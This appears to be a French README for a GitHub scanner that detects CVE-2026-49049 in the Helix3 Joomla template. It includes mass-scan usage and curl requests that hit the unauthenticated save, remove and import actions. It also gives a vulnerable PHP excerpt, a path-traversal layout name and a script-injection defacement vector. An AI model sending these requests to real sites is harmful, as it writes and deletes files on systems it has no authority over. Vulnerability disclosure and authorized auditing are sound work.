
Read-only vulnerability scanner for CVE-2026-49049 — Helix3 Joomla plugin unauthenticated AJAX handler
CVE-2026-49049 affecte le framework de template Helix3 pour Joomla (versions 1.0 à 3.1.0). Le gestionnaire onAjaxHelix3, accessible via le répartiteur com_ajax de Joomla, n'effectue aucune authentification, autorisation ou validation CSRF sur plusieurs actions destructrices :
Remarque : L'action
importa été ajoutée dans Helix3 v3.x. Les sites utilisant v2.x ne sont affectés que parsaveetremove.
La vulnérabilité a été découverte par Phil Taylor (mySites.guru) et publiée le 29 juin 2026.
| Version Helix3 | save/remove | import |
|---|---|---|
| 1.0 – 2.x | Vulnérable | Non présent |
| 3.0 – 3.1.0 | Vulnérable | Vulnérable |
| 3.1.1+ | Corrigé | Corrigé |
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
# Cible unique
python cve_2026_49049.py -t 192.168.1.100
# Scan de masse
python cve_2026_49049.py -f targets.txt -o results.txt
# Avec rapport JSON + verbeux
python cve_2026_49049.py -f targets.txt --json report.json -v
-t, --target Cible unique (domaine ou IP)
-f, --file Fichier contenant les cibles, une par ligne
-o, --output Sortie texte en temps réel (défaut : cve-2026-49049_scan.txt)
--json Rapport JSON structuré (défaut : cve-2026-49049_report.json)
--threads Travailleurs simultanés (défaut : 15)
--timeout Délai d'attente HTTP en secondes (défaut : 15)
-v, --verbose Afficher les détails de la sonde
Le scanner effectue une sonde en lecture seule — il écrit un fichier JSON inoffensif dans le dossier de mise en page Helix3 via le point de terminaison save non authentifié, vérifie qu'il a été écrit, puis le supprime immédiatement via le point de terminaison remove. Aucune modification persistante n'est laissée sur la cible.
$ python cve_2026_49049.py -t 192.168.1.100 -v
CVE-2026-49049 — Helix3 (JoomShaper)
Joomla Unauthenticated AJAX Handler Scanner
[*] save — accessible (probe: 3a9719da)
[*] remove — accessible (probe cleaned)
Host : 192.168.1.100
Status : vulnerable
Helix3 : 2.5.6
Vulnerable: YES
save : YES
remove : YES
import : NO
Time : 2.0s
Le scanner sonde ces points de terminaison exacts. Pour une vérification manuelle :
Étape 1 — Confirmer que Helix3 est installé
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# Recherchez <version>X.X.X</version>
Étape 2 — Tester l'action save (écriture de fichier non authentifiée)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
Étape 3 — Tester l'action remove (suppression de fichier non authentifiée)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=remove&data[layoutName]=_test_probe.json'
Étape 4 — Tester l'action import (v3.x uniquement, non disponible dans v2.x)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=import&data[template_id]=1&data[settings]={}'
# Remarque : import a été ajouté dans Helix3 v3.x.
# Les sites utilisant v2.x renverront une réponse vide pour cette action.
Dans les versions de Helix3 antérieures à 3.1.1, plugins/ajax/helix3/helix3.php traite les requêtes via onAjaxHelix3() sans aucune protection :
public function onAjaxHelix3()
{
$input = Factory::getApplication()->input;
$data = $input->post->get('data', [], 'array');
$action = $data['action'];
$layoutName = $data['layoutName'];
// Pas de vérification d'authentification. Pas de jeton CSRF. Pas de validation de chemin.
$filepath = $layoutPath . $layoutName; // traversée de chemin possible
switch ($action) {
case 'remove':
unlink($filepath); // suppression de fichier arbitraire
break;
case 'save':
fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // écriture
break;
}
}
layoutName=../../../somewhere/evil écrit des fichiers en dehors du dossier de mise en page prévusave (qui ajoute .json), remove peut cibler n'importe quel type de fichiercustom_js est rendu non échappé dans la sortie du template, permettant l'injection de script sur chaque page. C'est le vecteur utilisé dans les attaques de défiguration réelles.UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TEST AUTORISÉ.
Ce logiciel est destiné aux professionnels de la sécurité effectuant des tests d'intrusion autorisés, aux organisations auditant leur propre infrastructure, et aux chercheurs étudiant l'exploitation des vulnérabilités.
L'accès non autorisé à des systèmes informatiques est illégal et peut violer :
- États-Unis : Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonésie : UU ITE Pasal 30 & 46
- Union européenne : Directive 2013/40/EU
- Royaume-Uni : Computer Misuse Act 1990
Les auteurs déclinent toute responsabilité en cas d'utilisation abusive. En utilisant ce logiciel, vous acceptez l'entière responsabilité de vos actions.
| Ressource | Lien |
|---|
Ce projet n'est affilié ni à JoomShaper, ni à Joomla, ni à Open Source Matters, Inc.
| Action | Impact | Disponible dans |
|---|
save | Écrit des fichiers JSON contrôlés par l'attaquant avec traversée de chemin | Toutes les versions |
remove | Supprime des fichiers arbitraires — aucune restriction d'extension ou de chemin | Toutes les versions |
import | Écrase les paramètres de template stockés dans la base de données | v3.x uniquement |
| Avis original (mySites.guru) | Correction de sécurité Helix3 3.1.1 |
| Entrée NVD | CVE-2026-49049 |
| OpenCVE | CVE-2026-49049 |
| GitHub JoomShaper | Dépôt Helix3 |